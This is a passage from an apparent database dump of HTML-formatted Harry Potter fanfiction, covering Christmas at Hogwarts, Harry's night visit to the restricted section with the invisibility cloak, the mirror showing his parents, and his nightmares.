laughed.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; It&#8217;s just like you two to worry about\nhaving your wands with you. Personally I don&#8217;t see why you&#8217;d take it with you\nif you&#8217;re not going to use it.&#8221; He said. &#8220; Like in potions class.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione rolled her eyes and Harry just\nsmiled. He wouldn&#8217;t have expected any other response from his red-haired\nfriend.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&#191; &lt;&#8217;}}}&gt;&lt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The rest of Christmas day was spent having fun.\nHarry had the time of his life learning from his friends what the holiday was\nsupposed to be like.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The twins, who had slept late, had come down\nfrom the boys&#8217; dorm and immediately demanded that Ron get his sweater and put\nit on (they had already put theirs on).</p>\n\n<p class="MsoNormal" style="text-indent:.5in">When Ron came back down wearing his sweater\nthe twins were grinning as they excitedly told Harry that he was now an\nofficial Weasley.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Christmas dinner was eaten in the Great Hall\nwith all of the professors and students sitting at one enlarged table. Never in\nhis life had Harry ever had such a Christmas dinner&#8230; of course thanks to the\nDursleys he&#8217;d never had a Christmas dinner of any kind, but Harry didn&#8217;t spend\nmuch time thinking about that, as there were plenty of other things to think\nabout. The food itself looked so good that he almost didn&#8217;t want to eat it &#8211; <b>almost.</b>\nAll through the feast there were loud explosions as people opened the wizard\ncrackers.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry had seen the usual muggle kind before,\nand there was no comparison. The muggle variety made popping noises and had\npaper hats and plastic toys, whereas the ones at this feast sounded more like\ncannons going off and inside were things like rear admiral&#8217;s hats and live mice\nand many other things.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">When Harry finally left the table, after\nnarrowly losing to Ron in another eating contest, he was staggering under a\nload of things from the crackers, including a Grow-Your-Own-Warts kit and a\nwizard&#8217;s chess set. He had lost the mice from the cracker he and George opened\nand he had a feeling that Mrs. Norris would be having a nice Christmas feast\nherself.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The Weasleys, minus Percy, along with Harry,\nHermione, and several other students had a furious free-for-all snowball fight\nthat covered a large part of the grounds outside the castle. Some of the more\nmerry professors even joined in, including Dumbledore himself, who proved to be\nmuch more energetic and agile then would be expected from someone even half as\nold as the students supposed he was (none of them were really sure just how old\nthe man was and no one dared ask). Ron, Harry and Hermione all teamed up,\nprotecting each other and pelting as many people as possible with snow.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Others saw that the trio was quite dangerous\nas a team and soon others joined together to form other teams. It quickly\nbecame a three-way fight between the two teams that had formed and the trio, as\nboth teams had been formed to get back at them for being the first to team up.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Soon the trio was being pelted from two\ndirections at once. Ron just stood in front of Harry and Hermione laughing as\nhe tried to throw and dodge at the same time. Hermione was also laughing, but\nused Ron as a shield and flicked her wand at the snow in front of him. Harry\nwasn&#8217;t sure, but he thought she&#8217;d used a controlled &#8216;<i>Wingardium Leviosa!</i>&#8217;\nbecause all at once a huge pile of snow was forced up, making a nice sort of\nshield. Harry quickly used his own &#8216;<i>Wingardium Leviosa!</i>&#8217; to pack the\nsnow down when he saw that it was so soft that it was about to collapse.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Seeing the trio&#8217;s &#8216;fort&#8217;, one of the twins\n(one was on each team) started shouting at the others on his team to do the\nsame. Eventually there were three such walls of snow, although the trio&#8217;s was\nthe shortest in both length and height.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">At first none of the teams seemed to be able\nto hit any of the others, and they all had fun popping up to throw a ball then\nducking down again to avoid projectiles from their opposition.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; Cover me!&#8221; Harry suddenly told Ron and\nHermione as he got an idea.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry then jumped up and threw his snowball,\nbut let it fall just a little way in front of their wall. Once again he used\nthe levitation charm, this time rolling the ball through the snow towards one\nof the other sides. All the while Ron and Hermione tried to throw balls at\nanyone who popped up, but they were running out of the snowballs they had\nalready made.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Just as Ron threw the last of the ready made\nsnowballs and scrambled to make some more, Harry flicked his wand upwards. His\nsnowball, which was now as big around as Professor Flitwick was tall, followed\nthe motion and flew up and over the wall that Fred&#8217;s team was behind (or maybe\nit was George). The whole group was clustered together and looked up as one.\nWhichever of the twins was on that team tried to leap to the side, but was too\nslow.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry ended the charm and the ball fell.\nFortunately it hadn&#8217;t been tightly packed and it didn&#8217;t hurt any of them, but\nthey all began running around trying to get the snow out of their clothes\n(after climbing out of the pile of snow that was their fort.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Ron and Hermione tried to congratulate Harry\non a brilliant idea, but they were too busy laughing to get any words out.\nUnfortunately they were also too busy to do more than look up when Harry yelled\n&#8216; Look out!&#8217;, and jumped to the side.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The third team had seen what Harry had done\nwith his snowball and three of them had done the same, making three smaller\nsnowballs, about the size of big pumpkins. Harry only <i>just</i> fast enough\nto avoid the one meant for him, but both Ron and Hermione were completely\nburied.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">After that both the trio and Fred&#8217;s team (it\nturned out Fred had been on the team Harry had buried) charged the last wall.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Late in the afternoon, when everyone but the\ntwins had finally gotten tired of the snowball fight, the trio retired to their\ncommon room and Harry tried out his new chess set in a game against Ron. He\ndidn&#8217;t do too badly, but it was obvious that he still wasn&#8217;t too much of a\nchallenge for Ron to beat.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione spent much of the afternoon\ncompletely absorbed in the book she&#8217;d received from Ron and it seemed nothing\nwould tear her away from it until she finished the whole thing. In the end too\nmuch turkey made her so sleepy that she gave up reading when she was only about\nhalfway through, and she went to bed wishing Ron and Harry a merry Christmas\nand a good night.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Ron and Harry soon followed, though Harry\nwasn&#8217;t nearly as sluggish as either of his friends.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Ron was asleep as soon as he lay down, still\nfully clothed, but despite how tired Harry was, he found himself unable to\nsleep. Something was nagging him, telling him that there was something he&#8217;d\nforgotten about during the day&#8217;s excitement.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">After half an hour of trying, and failing, to\ngo to sleep Harry finally remembered what it was that was bugging him.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&lt; The invisibility cloak!&gt;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">He quickly got out of bed and pulled it out\nfrom the robe he&#8217;d stuffed it in that morning.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">He looked at it for a while, imagining his\nfather sneaking around the hall of Hogwarts in it, playing tricks on the\nSlytherins.</p>\n\n<p class="MsoNormal">He got up intending to try it out by sneaking to the library to look\naround. Glancing at Ron he decided not to wake him. Harry wanted to try it by\nhimself, just for this first time. As he was about to leave the boys&#8217; dorm he\nthought of the other gifts he&#8217;d received that day. He went back and got the\nflute from Hagrid, wanting to try it out as well as the cloak.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">@@@@@@@@@@@@@@@@@@@@@@@</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">AN- Review? Please?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b>H/H FOREVER!</b></p>\n\n<p class="MsoNormal">Bye!</p>\n\n\n\n\n\n\n'),
	(17, 24, ' AN- Not much to say accept that I&#8217;m still having trouble writing, but I&#8217;ll keeping at it! <p>&nbsp;</p>\n\n<p><b>H/H FOREVER!</b></p> Bye! <p>&nbsp;</p>\n\n<p>@@@@@@@@@@@@@@@@@</p>\n\n<p>&nbsp;</p>\n\n<p>Ron was asleep as soon as he lay down, still fully clothed, but despite how tired Harry was, he found himself unable to sleep. Something was nagging him, telling him that there was something he&#8217;d forgotten about during the day&#8217;s excitement.</p>\n\n<p>After half an hour of trying, and failing, to go to sleep Harry finally remembered what it was that was bugging him.</p>\n\n<p>&lt; The invisibility cloak!&gt;</p>\n\n<p>He quickly got out of bed and pulled it out from the robe he&#8217;d stuffed it in that morning.</p>\n\n<p>He looked at it for a while, imagining his father sneaking around the hall of Hogwarts in it, playing tricks on the Slytherins.</p>\n\n<p>He got up intending to try it out by sneaking to the library to look around. Glancing at Ron he decided not to wake him. Harry wanted to try it by himself, just for this first time. As he was about to leave the boys&#8217; dorm he thought of the other gifts he&#8217;d received that day. He went back and got the flute from Hagrid, wanting to try it out as well as the cloak.</p>\n\n<p>&nbsp;</p>\n\n<p>&#191; &lt;&#8217;}}}&gt;&lt;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry had never had any trouble getting to the library without being caught, even without the invisibility cloak, but having the cloak on certainly made him feel much safer. He made it to the library without seeing any other people, either staff or students, and decided that it was time to pay Lady Scrive back for sneaking up on him and startling him many other times.</p>\n\n<p>&#8220;Quietus<i>.</i>&#8221; Harry murmured, silencing the door with a charm he&#8217;d discovered before by accident (he had researched it later to be sure that he&#8217;d be able to do it properly).</p>\n\n<p>He pulled open the door and slipped inside, closing the door after him. As he searched the aisles for Lady Scrive he wondered whether or not there was any point in trying to scare a ghost by sneaking up on them. After all, there is little that a ghost would fear, as it is quite difficult to hurt them and impossible to kill them &#8211; due largely to the fact that they had already <b>been</b> killed.</p>\n\n<p>&lt; Ahh, well.&gt; he thought, &lt; I still want to see how well this cloak works, whether I scare her or not &#8211; <b>there</b> she is!&gt;</p>\n\n<p>He&#8217;d finally spotted her a level above him floating through the aisles.</p>\n\n<p>Making sure to keep the cloak wrapped around his legs, Harry slowly made his way towards her. When he&#8217;d finally reached where he had seen her last he paused, unsure which way she had gone, until he caught sight of her again. This time she was headed towards the restricted section. Harry bared his teeth in an evil grin.</p>\n\n<p>&lt; Now <b>here&#8217;s</b> something interesting. I wonder if the cloak will hide me from the wards that keep unauthorized people out of the restricted section?&gt;</p>\n\n<p>Harry had been coming to the library at night for a while, and had access to more books than even Hermione could read in a lifetime, but despite that he&#8217;d longed for the chance to browse through the restricted section, partly because he wasn&#8217;t allowed to, but also just because there was likely a lot of interesting information there.</p>\n\n<p>He paused as he reached the boundary of the section. This was where all the protective charms started.</p>\n\n<p>Harry had once tried, like all students do at some point, to get into the restricted section without permission. Fortunately he&#8217;d been alone at the time because the moment he had stepped past the boundary he&#8217;d been thrown back out by the wards guarding the section and had landed on his back atop a table.</p>\n\n<p>He stretched forth an arm past the first rows of book cases and felt a light pressure, as if he were pushing his hand into syrup, but no alarms went off and he wasn&#8217;t thrown away from the books (besides experiencing it himself, he&#8217;d once seen the same thing happen to the Weasley twins &#8211; though they hadn&#8217;t known he was there), so he stepped forwards and resumed looking for Lady Scrive.</p>\n\n<p>He found her near the back of the section, looking at the titles of the books and murmuring to herself.</p>\n\n<p>&#8220;Hmmm, Harry would enjoy <b>this</b> one, I&#8217;ve no doubt.&#8221; Harry heard her say as he came upon her.</p>\n\n<p>&#8220;What one is that?&#8221; Harry asked from where he stood, not more than a foot behind her.</p>\n\n<p>&#8220;Oh!&#8221; she gasped as she whirled around looking <b>quite</b> startled. &#8220;Who&#8217;s there?&#8221;</p>\n\n<p>Harry grinned and took a chance at setting off an alarm charm by removing the hood of his cloak.</p>\n\n<p>The Lady quickly calmed seeing Harry &#8211; or at least his head, and put a hand over her&#8230; well over where her heart would have been if she had one, causing Harry to grin even wider.</p>\n\n<p>&#8220;Payback I assume?&#8221; she asked dryly. &#8220;And how did you manage to get past the wards in here any way?&#8221;</p>\n\n<p>She didn&#8217;t seem at all disconcerted by the fact that she was talking to an apparently disembodied head. Perhaps it had something to do with being a ghost.</p>\n\n<p>&#8220;Well, I can&#8217;t be absolutely sure, but it&#8217;s probably thanks to the best Christmas present I&#8217;ve ever had.&#8221; Harry answered, still smiling.</p>\n\n<p>Lady Scrive frowned for a moment, not understanding, before her eyes went wide as she finally realized that Harry wasn&#8217;t all there.</p>\n\n<p>&#8220;A present?&#8221; she asked. &#8220;It can only be your father&#8217;s cloak!&#8221;</p>\n\n<p>Harry nodded.</p>\n\n<p>&#8220;It is, but &#8211; how do you know about it?&#8221; he asked.</p>\n\n<p>Harry hadn&#8217;t thought that anyone other than Ron, Hermione, whoever sent the cloak, and Harry himself knew about it.</p>\n\n<p>Lady Scrive smiled wistfully.</p>\n\n<p>&#8220;You are much like your father, and in more than just looks.&#8221; She said. &#8220;He used to come here the same as you. He never asked for my help though; in fact, he probably thought I didn&#8217;t even know about it since he was almost always wearing that cloak, but he slipped up a few times.&#8221;</p>\n\n<p>&#8220;What did you do when you found out that he was sneaking around after curfew?&#8221; Harry asked, wanting to know as much as possible about his father&#8217;s school days.</p>\n\n<p>&#8220;Nothing. As long as he was here to learn I saw no reason to stop him from doing so.&#8221; She answered. &#8220;You know &#8211;&#8220; she went on, becoming thoughtful. &#8220; &#8211; he didn&#8217;t start coming until his sixth year, but his reasons for wanting to learn more were much like your own. He wanted to know more so that he would be better able to protect his friends and loved ones. One of his best qualities in my mind and one you share with him most strongly.&#8221;</p>\n\n<p>She smiled sadly and Harry could see a silvery substance fall from her eye that disappeared before it hit the floor.</p>\n\n<p>&lt; She&#8217;s crying.&gt; he realized with a start.</p>\n\n<p>Not for the first time Harry wondered what kind of a man his father must have been to have so many people who had known him and still mourned his passing, even years later. The Lady Scrive hadn&#8217;t even known James that well and yet she had still strongly admired him.</p>\n\n<p>Ever since he had been told the truth about who his parents were, and how they had been killed, Harry had hoped he would be as good a person, and as strong and well respected as both his parents had been. Now he became determined to do so.</p>\n\n<p>&lt; Wherever you are, mom and dad &#8211; I&#8217;ll make you proud.&gt;</p>\n\n<p>The Lady quickly wiped away her tears.</p>\n\n<p>&#8220;Well, enough reminiscing.&#8221; She said. &#8220;What brings you here? I had thought you were taking a break from studying for a while in the holidays?&#8221;</p>\n\n<p>&#8220;I am.&#8221; Harry said. &#8220;I just wanted to try out a couple of the presents I received.&#8221;</p>\n\n<p>&#8220;Oh? The cloak and what else?</p>\n\n<p>Harry smiled and pulled the flute out, holding it outside the folds of the cloak so the Lady could see it.</p>\n\n<p>&#8220;Hagrid made a flute for me. I had a few music lessons in school, everyone did, so I wanted to try it out.&#8221;</p>\n\n<p>&#8220;Well go ahead then, no one will be able to hear you in here.&#8221; Lady Scrive told him.</p>\n\n<p>&#8220;Here goes then.&#8221;</p>\n\n<p>Harry put the flute to his lips and blew. The flute let out a squeal, not at all the sound Harry had been trying for.</p>\n\n<p>The Lady cringed and chuckled.</p>\n\n<p>&#8220;I said that I&#8217;d had some lessons, not that I was any good.&#8221; Harry admitted sheepishly (of course it hadn&#8217;t helped that Dudley and his friends had always been teasing him, making it hard to concentrate on what the teacher was telling them).</p>\n\n<p>He brought the flute back to his lips and blew lightly this time. The sound was much better, sounding soft and clear. Harry ran his fingers over the holes producing an interesting sort of trilling sound.</p>\n\n<p>The Lady and Harry smiled at each other as he paused.</p>\n\n<p>&#8220;Well that sounded <b>much</b> better.&#8221; Lady Scrive told him. &#8220;Now if you could just learn a song to practice people might not mistake the sound for a fwooper&#8217;s mating call.&#8221;</p>\n\n<p>Harry smiled and rolled his eyes.</p>\n\n<p>&#8220;Oh, give me a break! I&#8217;ll get better! Besides, it&#8217;s not like I&#8217;ll ever be playing for people to hear.&#8221;</p>\n\n<p>Harry spent a while strolling around the restricted section with Lady Scrive while playing his flute. He couldn&#8217;t play any songs of course so he just made up little tunes. He wasn&#8217;t really especially good of course, but the sounds he made were at least not painful once he learned not to blow too hard.</p>\n\n<p>Even though Harry couldn&#8217;t remember any of the simple tunes that his class had been taught at school he still enjoyed just playing. The flute sounded clear and the sound seemed to calm him almost as if he was meditating.</p>\n\n<p>He remembered Dumbledore saying something at the welcoming feast. Something about music having a magic of it&#8217;s own, and now Harry could understand what the headmaster had meant. There was a feeling in the music aside from its calming influence. It felt a lot like the feeling that McGonagall had told them to look for during their first Transfiguration class. (Ch. 12)</p>\n\n<p>After an hour or so Harry began to become tired and decided to go back to bed.</p>\n\n<p>&#8220;I think I&#8217;ll leave now.&#8221; He told Lady Scrive when he started yawning.</p>\n\n<p>&#8220;Before you go, there was a book I saw here I thought you&#8217;d like.&#8221; She told him.</p>\n\n<p>Harry frowned.</p>\n\n<p>&#8220;Will I be able to take it off the shelf?&#8221;</p>\n\n<p>&#8220;I&#8217;m not really sure.&#8221; The Lady admitted, tapping her chin. &#8220;Even I don&#8217;t know too much about what was used to protect this section. You may as well try though. If it sets off some sort of alarm you shouldn&#8217;t have much trouble keeping from being caught. Just make sure to have your cloak on before you take it off the shelf.&#8221;</p>\n\n<p>She led him to where the book was (&#8216;<i>An Objective Look At The History Of Curses</i>&#8217;) and Harry carefully covered himself with the invisibility cloak, then reached out and tentatively pulled the book from the shelf and held his breath.</p>\n\n<p>Nothing happened.</p>\n\n<p>Praying that he hadn&#8217;t set off some kind of silent alarm, he sat down on the floor and opened the book in his lap.</p>\n\n<p>Harry just about had a heart attack when the book began to scream and he nearly threw it away in his surprise. Quickly he slammed it shut, and when that didn&#8217;t shut it up he stuffed it back in its spot on the shelf. It still didn&#8217;t stop screaming, but the sound was mercifully muffled now.</p>\n\n<p>&#8220;Oh, well.&#8221; Lady Scrive said, apparently not minding the horrid noise too much, after all, she didn&#8217;t have any eardrums for it to destroy. &#8220;It was worth a try, but you&#8217;d best be on your way now, Harry.&#8221;</p>\n\n<p>Harry nodded before he remembered that she couldn&#8217;t see him.</p>\n\n<p>&#8220;Alright.&#8221; He told her and made his way to the entrance as quickly as he could.</p>\n\n<p>&nbsp;</p>\n\n<p>&#191; &lt;&#8217;}}}&gt;&lt;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry got to the library entrance as fast as he could and only <b>just</b> made it in time to slip past Filch as he threw the still unlocked door wide open.</p>\n\n<p>&lt; <i>I should <b>really</b> get the twins to show me how to use the hidden corridors.</i>&gt; Harry thought. &lt; <i>It would have been useful tonight.</i>&gt;</p>\n\n<p>Filch&#8217;s eyes were wide and he looked so fierce and suspicious, as he whipped his head back and forth, trying to find the intruder, that Harry half expected him to start foaming at the mouth, but he didn&#8217;t wait around to find out. He slunk silently away, and broke into an all out sprint once he was out of earshot.</p>\n\n<p>Harry could still hear the book&#8217;s shrieking, but it was fairly faint so he slowed to a walk and looked more carefully at his surroundings. He was back in the same corridor he&#8217;d run down while trying to avoid Filch and Mrs. Norris one night. He listened for any sound other than the faint scream of the book, and then walked down the corridor when he heard nothing.</p>\n\n<p>A little ways down the hall he found the same room that he had used to hide in, though the door was closed now.</p>\n\n<p>Curious, he tried the handle and found that the room hadn&#8217;t been locked.</p>\n\n<p>Harry turned the knob and carefully opened the door, then stepped inside.</p>\n\n<p>The dust that had covered the room before was still there and undisturbed, but now lay equally thick on the elegant mirror in the centre of the room. When Harry had first found the room he&#8217;d thought that it was suspicious that there wasn&#8217;t any dust on the mirror yet the dust on the floor leading to the mirror hadn&#8217;t been disturbed, suggesting that the mirror had been put there recently and someone had covered their tracks somehow. Now he found it even more suspicious that so much dust had settled on to it in so little time. It was as if someone was going out of his or her way to keep the mirror from being noticed. Putting it in an out of the way classroom and making it look as though it had always been there.</p>\n\n<p>&lt; <i>Someone must want this kept secret for some reason&#8230;</i>&gt; he realised, and then grinned. &lt; <i>All the more reason to check it out. After all, knowledge is power.</i>&gt;</p>\n\n<p>Careful to disturb the dust as little as possible, Harry crept towards the mirror. It was really quite elegant looking, but Harry found it somehow disturbing, but couldn&#8217;t put his finger on <b>why</b> it disturbed him.</p>\n\n<p>He stepped in front of the mirror, wanting to <b>not see</b> his reflection through the invisibility cloak. What he saw instead caused him to spin around whipping out his wand and knife at the same time, as his heart raced, but there was nothing to be seen.</p>\n\n<p>Harry instantly turned back to the mirror. The people he&#8217;d seen were still there, but apparently only existed in the reflection and weren&#8217;t really in the room.</p>\n\n<p>As he calmed down he realized two things at once. One, even though he was wearing the invisibility cloak, he could see himself in the mirror, and two, he knew one of the other people in the mirror.</p>\n\n<p>In fact he didn&#8217;t know how he hadn&#8217;t noticed it sooner. After all, it was impossible not to recognize the softly smiling girl with her arm around his waist and her head on his shoulder. He saw her uniquely bushy brown hair and her cinnamon eyes everyday after all.</p>\n\n<p>Once he recognized Hermione, he looked around at the others. There, to the left and a little behind him, was Ron, grinning as madly as ever and his hair almost seeming to be made of flames as it shone in the spotlight he was standing in. Beyond him were many others that Harry couldn&#8217;t quite place right away, but they all had a familiar feel to them. Especially the closest two&#8230; a man and a woman, holding each other tightly while waving at him. The man could have been an older version of Harry himself and the woman had hair that was as red as any Weasley&#8217;s and her eyes&#8230; they were the eyes hidden behind Harry&#8217;s glasses&#8230;</p>\n\n<p>Harry was stunned when he realised who he was looking at.</p>\n\n<p>&#8220;Mom?&#8221; he whispered hoarsely. &#8220;Dad?&#8221;</p>\n\n<p>Harry started shaking, though he didn&#8217;t notice.</p>\n\n<p>&#8220;No!&#8221; he said still whispering. &#8220;It can&#8217;t be! You&#8217;re <b>dead!</b>&#8221;</p>\n\n<p>He stumbled back until he bumped into a desk and he turned and ran from the room, looking as if all the evil in the world was chasing him.</p>\n\n<p>Harry couldn&#8217;t remember getting there, but he somehow made his way to Gryffindor tower and into his bed.</p>\n\n<p>&nbsp;</p>\n\n<p>&#191; &lt;&#8217;}}}&gt;&lt;</p>\n\n<p>&nbsp;</p>\n\n<p>That night Harry had terrible dreams about the night Voldemort had killed his parents. They started out the same as the dreams that he&#8217;d had for as long as he could remember, though he&#8217;d started having them more often ever since he had been told what <b>really</b> happened to his parents.</p>\n\n<p>&nbsp;</p>\n\n<p>The dreams he had that night were slightly different though. At first Harry saw his parents. They were smiling, laughing and holding each other. Harry knew what was coming next, but couldn&#8217;t stop himself from seeing it. A shadowed, snake like monster, would appear, looming over his parents and next would come the flash of green light then the cold, empty laughter. This time though Harry felt the dream change. Suddenly Harry found that he was there in the dream himself and when he looked back up at his parents he saw Ron and Hermione were there too.</p>\n\n<p>They were smiling and waving at Harry. Harry started to smile as well and tried to move towards them, but found himself stuck. He looked down at his feet, but there was nothing holding them down. He looked up again and saw the sky that had been so blue a moment ago was now the blackest night, and behind his parents and friends he saw a part of the sky darken further and move forwards. As always, the monster seemed to be made of shadows and moved too fluidly, as if it had no bones. Somehow Harry knew that this was Voldemort, even though he couldn&#8217;t see him for the darkness he wore.</p>\n\n<p>Harry tried to scream a warning, but no sound came from him. He heard the laughter start and there was a flash of light. When Harry could see again his parents were lying dead and bloody on the ground, and Voldemort had turned to Ron and Hermione now, who looked horrified. Again Harry tried to move, to scream &#8211; anything, but could do nothing as there was another flash of light and his friends joined his parents. </p>\n\n<p>Voldemort&#8217;s laughter got louder and even emptier. It seemed as if it was suffocating Harry, pressing in against him till he couldn&#8217;t draw a breath. As the dream began to fade, Voldemort turned his sunken red eyes to Harry and began to advance on him with a malicious sneer.</p>\n\n<p>&nbsp;</p>\n\n<p>If Harry wasn&#8217;t already used to such dreams he would have woken up screaming then, but he had experienced many such dreams before; in fact, it would have seemed odd to him if he went more than a couple weeks without a nightmare. As it was Harry&#8217;s life with the Dursleys had taught him to keep from screaming from even the worst of his dreams. A fact that Harry was actually quite glad for at that moment. If he&#8217;d woken Ron up, then Ron would no doubt want to know exactly what had happened, and Harry had learned that most people didn&#8217;t have such terrible dreams. At least not as often as Harry did, and Ron would be worried about him if Harry told him about the dreams and Harry definitely didn&#8217;t want the people he cared about to worry about him.</p>\n\n<p>It wasn&#8217;t that Harry wasn&#8217;t affected by the dreams. No one could dream of their parents deaths and not be affected, it was just that Harry accepted the dreams. They scared him and caused him sorrow, of course, but Harry just ignored it, or refused to let touch him. Just like he had learned to refuse to let the Dursleys&#8217; insults, or the pain from Dudley&#8217;s punches affect him.</p>\n\n<p>For a while Harry just sat up in bed and tried to meditate, but had a hard time clearing his mind and organizing his thoughts. After an hour or so, he gave up and simply laid back and quickly fell asleep again.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry looked up at his parents and saw Ron and Hermione were there too.</p>\n\n<p>They were smiling and waving at Harry. Harry started to smile as well and tried to move towards them, but found himself stuck. He looked down at his feet, but there was nothing holding them down. He looked up again and saw the sky that had been so blue a moment ago was now the blackest night, and behind his parents and friends he saw a part of the sky darken further and move forwards. As always, the monster seemed to be made of shadows and moved too fluidly, as if it had no bones. Somehow Harry knew that this was Voldemort, even though he couldn&#8217;t see him for the darkness he wore.</p>\n\n<p>Harry tried to scream a warning, but no sound came from him. He heard the laughter start and there was a flash of light. When Harry could see again his parents were lying dead and bloody on the ground, and Voldemort had turned to Ron and Hermione now, who looked horrified.</p>\n\n<p>Again Harry tried to move, to scream &#8211; and suddenly he realized there were hands holding him back. Struggling he twisted his head and saw that it was the Dursleys that were holding him back.</p>\n\n<p>&#8220; Let go!&#8221; he growled at them. &#8220; You don&#8217;t control me! I won&#8217;t let you!&#8221;</p>\n\n<p>With a surge of strength he pulled from their grip and was able to move forwards. He felt like he was moving through syrup, but he was moving forward and then he found himself between Voldemort and his friends. The shadow/Voldemort sneered and reached out a hand towards Harry, as if to grab him and crush him.</p>\n\n<p>Harry found his voice again and screamed at Voldemort over the continuing cold laughter.</p>\n\n<p>&#8220;Nooooo<b>!</b> I <b>won&#8217;t</b> let you hurt them!&#8221;</p>\n\n<p>Suddenly there was silence, as Voldemort&#8217;s form seemed to be blown away by an unheard and unfelt wind. The darkness lightened a bit as well and Harry suddenly felt lighter and a great relief washed over him.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Harry!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8230;&#8230;.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Harry<b>!</b>&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8230;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Wake up, Harry!&#8221;</p>\n\n<p>Harry felt someone shaking him and opened his eyes. A blurry red shape was leaning over him.</p>\n\n<p>&#8220;Ron?&#8221; Harry mumbled, feeling groggier than he could remember ever feeling before, but at the same time &#8211; something was different. He felt&#8230; <b>more free</b> somehow.</p>\n\n<p>Judging by how bright it was Harry guessed it was still pretty early in the morning. Too early for Ron to be awake yet.</p>\n\n<p>He heard Ron sigh in relief.</p>\n\n<p>&#8220;Are you alright?&#8221; Ron asked him. &#8220;You were yelling something in your sleep. Something about someone not hurting you?&#8221;</p>\n\n<p>&#8220;I was?&#8221; Harry asked in confusion, but then he began to remember the second dream he&#8217;d had that night.</p>\n\n<p>&#8220;Yeah, you were.&#8221; Ron answered. &#8220;Bad dream I guess?&#8221;</p>\n\n<p>Harry thought about it for a moment. The first dream he&#8217;d had was definitely bad, but the other one&#8230;</p>\n\n<p>&#8220;I&#8217;m not sure. I was dreaming, but it wasn&#8217;t exactly a <b>bad</b> dream&#8230;&#8221; He gave Ron a crooked smirk. &#8220;You actually heard me? I had thought it would take a dozen <i>enervate&#8217;s</i> to wake you up with all the turkey you had last night.&#8221;</p>\n\n<p>&#8220;Hey!&#8221; Ron cried, smacking Harry. &#8220;Here I am, being a nice guy and waking you up because I thought you were having a nightmare and you start making jokes at my expense! Some friend!&#8221;</p>\n\n<p>Harry just smiled in response and watched Ron dive back into his bed, falling asleep again in moments.</p>\n\n<p>Harry shook his head and wondered, not for the first time, how Ron was able to go from being fairly wide awake to being in a deep sleep at moments notice. He smiled again, thinking of how glad he was to have Ron as a friend, before laying back down to sleep himself.</p>\n\n<p>&nbsp;</p>\n\n<p>&#191; &lt;&#8217;}}}&gt;&lt;</p>\n\n<p>&nbsp;</p>\n\n<p>When Harry woke up again it was already past noon and Ron had already gotten up.</p>\n\n<p>As Harry got dressed he thought about what he&#8217;d seen in the mirror the night before.</p>\n\n<p>&lt; <i>Why was I scared?</i>&gt; he wondered with a frown. &lt; <i>It was just my parents, Ron and Hermione.</i>&gt;</p>\n\n<p>Thinking about what had caused him to run from the old classroom he realised that it hadn&#8217;t exactly been fear that had made him run. It had felt more like a terrible pain in his chest.</p>\n\n<p>He was still thinking about it as he walked down to the common room, where he found Ron and Hermione playing a game of chess. Ron was smirking and Hermione was scowling at the board, as if it had done something evil to her.</p>\n\n<p>Seeing the look on her face Harry couldn&#8217;t help but smile. She was so used to being the best at anything intellectual that she seemed to take it quite personally when Ron beat her at chess. On the other hand Ron thought it was good for her to see that she couldn&#8217;t do <b>everything</b> perfectly. At least that was his excuse for taking such pleasure in beating her, saying that he enjoyed it because he was helping her to be a better person.</p>\n\n<p>&#8220;How are you this fine afternoon, Harry?&#8221; Asked Ron, jovially.</p>\n\n<p>&#8220;I could be worse.&#8221; He answered. &#8220;How are you two doing?&#8221;</p>\n\n<p>Hermione only grunted in response, her eyes never loosing their determined look.</p>\n\n<p>&#8220;Ha!&#8221; she suddenly shouted, moving a piece on the board. &#8220;Take that!&#8221;</p>\n\n<p>She smirked, obviously thinking she had made a good move to keep Ron from taking even more of her men.</p>\n\n<p>Ron looked at the board for only a minute before smiling and shaking his head ruefully.</p>\n\n<p>He moved his queen over two spaces.</p>\n\n<p>&#8220;Check.&#8221;</p>\n\n<p>Harry thought that Hermione&#8217;s eyes would pop out of her head if she opened them any wider.</p>\n\n<p>&#8220;Darn!&#8221; she said, obviously wanting to use stronger language than that. &#8220;I surrender.&#8221;</p>\n\n<p>Ron just chuckled and stretched his hands over his head.</p>\n\n<p>&#8220;Yep, I&#8217;m <b>still</b> the champ!&#8221; he crowed.</p>\n\n<p>Hermione rolled her 